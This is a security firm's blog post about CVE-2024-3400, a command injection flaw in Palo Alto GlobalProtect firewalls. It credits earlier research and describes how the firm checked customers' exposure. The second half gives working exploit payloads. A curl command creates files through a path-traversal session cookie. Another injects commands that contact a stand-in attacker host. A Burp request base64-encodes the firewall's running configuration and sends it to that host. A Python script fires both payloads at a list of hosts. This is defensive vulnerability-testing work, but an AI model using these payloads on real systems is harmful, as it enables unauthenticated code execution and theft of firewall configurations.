You know why you’re here:

You couldn’t possibly be, right?

icon-info:

You pray for rain, you gotta deal with the mud too. That's a part of it. - Denzel Washington


On Friday, April 12, 2024, Palo Alto released a security advisory titled “CVE-2024-3400 PAN-OS: OS Command Injection Vulnerability in GlobalProtect”.

In this post, I wanted to do something different. This isn’t a traditional technical deep dive, how-to, or your typical rehash of a proof of concept blog post covering the standard technical details of a vulnerability.

I wanted to walk through how we at Sprocket approached this. I’ve written previously about our angle of attack here.

card-image

Exploiting N-Day Vulnerabilities at Scale with CPT

Including exploits from Twitter, argumentative GitHub issues, late night VirusTotal perusing, your favorite vendor disclosures, and much more!


Also note, as with everything, this was an incredible team effort. Shouts to puzzlepeaches, BuffaloWill, jpg0mez, hogman_the_intruder, and WiseOne.

At the risk of being accused of pillory and criticizing those who’ve laid the path, please don’t misunderstand. The technical legwork, heavy lifting, and industry inspiration have been done by awesome teams. Notably:

Volexity did the discovery & initial analysis.

card-image

Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400)

Volexity would like to thank Palo Alto Networks for their partnership, cooperation, and rapid response to this critical issue. Their research can be found here. On April 10, 2024, Volexity identified zero-day exploitation of a vulnerability found within the GlobalProtect feature of Palo Alto Networks PAN-OS at one of its network security monitoring (NSM) customers.


watchTowr polished & did the heavy lifting (+ humorous commentary :D) here: https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/

Rapid7 provided excellent analysis with the audible: https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/

And badge on the table: Between my writing this and publication, new analysis covering and and maybe even a fully public, weaponized proof of concept (PoC) will have dropped.

What Are Working With

From a high level, CVE-2024-3400 can be summarized:

GlobalProtect (GP), a firewall feature in Palo Alto’s PAN-OS, is vulnerable to command injection that leads to unauthenticated arbitrary code execution. 

From our initial understanding, we’ve got two components here:

  1. An arbitrary file creation (AFC) in the web server
  2. Command injection in the telemetry feature

A few discovered & disclosed caveats (current at time of writing):

  • GlobalProtect Portal or GlobalProtect Gateway are required for exploitation
  • If telemetry is enabled, exploitation is not possible without a valid device certificate
  • If telemetry is disabled, AFC is possible, but exploitation is not possible. This seems to be the consensus, but is not congruent with our testing. In our opinion, these two are not mutually exclusive. AFC is by itself a nasty primitive, why exclude exploitation because telemetry is disabled?

To boil everything down, an attacker can supply a SESSID (provided by a custom cookie value) that get’s written to disk (this is our arbitrary file create). During the transmission of the telemetry data (which contains the attacker controlled SESSID value), a cURL binary will then execute arguments passed via the telemetry stream.

At this time, disabling telemetry was enough of a stopgap to let Palo customers sleep easy over the weekend. Come Monday morning, we started hearing rumblings. Like this Tweet from Aliz (at watchTowr):

Link: https://twitter.com/AlizTheHax0r/status/1780283428711411881

Or this Reddit thread:

Link: https://www.reddit.com/r/paloaltonetworks/comments/1c57m94/more_patches_for_cve20243400_1027h8_and_1028h3/

Our Approach

At Sprocket, we work hard to establish and maintain visibility into our customers attack surface. So as soon as this hit our feeds, we immediately sprung into action.

From our ASM platform, we can quickly search across all our customers to identify Global Protect applications. Here’s a sneak peek:

After we export our list, now is time to dig in.

Looking at the rough cURL commands floating around at the time of writing, we have a few to consider. For example, here’s a recognizable cURL command to fulfill arbitrary file creation

curl <https://vpn.acme.org/ssl-vpn/hipreport.esp> -X POST -skiL -H 'Cookie: SESSID=./../../../var/appweb/sslvpndocs/global-protect/portal/images/lookit'

And then here’s another cURL request for command execution:

curl <https://vpn.acme.org/global-protect/login.esp> -k -H 'Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/lookit`curl${IFS}AttackerIP?user=$(w)`'

And here’s a handy Burp Repeater request to snag the running config:

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: vpn.acme.org
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/lookit`curl${IFS}<http://AttackerIP/$(cat${IFS}/opt/pancfg/mgmt/saved-configs/running-config.xml%7Cbase64)`>;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Finally, here’s some easy Python for slow scanning and testing:

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

file_path = "palo-alto-test-list.txt"

with open(file_path, 'r') as file:
 hosts = file.readlines()

for host in hosts:
 host = host.strip()
 try:
 print("testing: "+host)
 session = requests.Session()

 headers = {"Connection":"close","Content-Type":"application/x-www-form-urlencoded"}
 cookies = {"SESSID":"./../../../var/appweb/sslvpndocs/global-protect/portal/images/lookit"}
 response = session.post("https://"+host+"/ssl-vpn/hipreport.esp", headers=headers, cookies=cookies, verify=False)

 print("Host request 1 (write to global-protect/portal/images/lookit): "+host)
 print("Status code: %i" % response.status_code)
 print("Response body: %s" % response.content)

 headers = {"Connection":"close","Content-Type":"application/x-www-form-urlencoded"}
 cookies = {"SESSID":"./../../../opt/panlogs/tmp/device_telemetry/hour/lookit`curl${IFS}AttackerIP?user=$(w)``"}
 response = session.post("https://"+host+"/ssl-vpn/hipreport.esp", headers=headers, cookies=cookies, verify=False)

 print("Host request 2 (curl to collab): "+host)
 print("Status code: %i" % response.status_code)
 print("Response body: %s" % response.content)
 except requests.exceptions.RequestException as e:
 print(f"Error accessing {host}: {e}")

That was a quick wrap on our initial take. Up next, and for fun, we take a look at reverse engineering the NGFW to verify our testing payloads:

card-image

Patch Diffing CVE-2024-3400 from a Palo Alto NGFW Marketplace AMI

One of the needs during CVE-2024-3400 testing was the ability to test against a live non-production vulnerable instance. We opted for the Palo Alto NGFW AWS Marketplace AMI.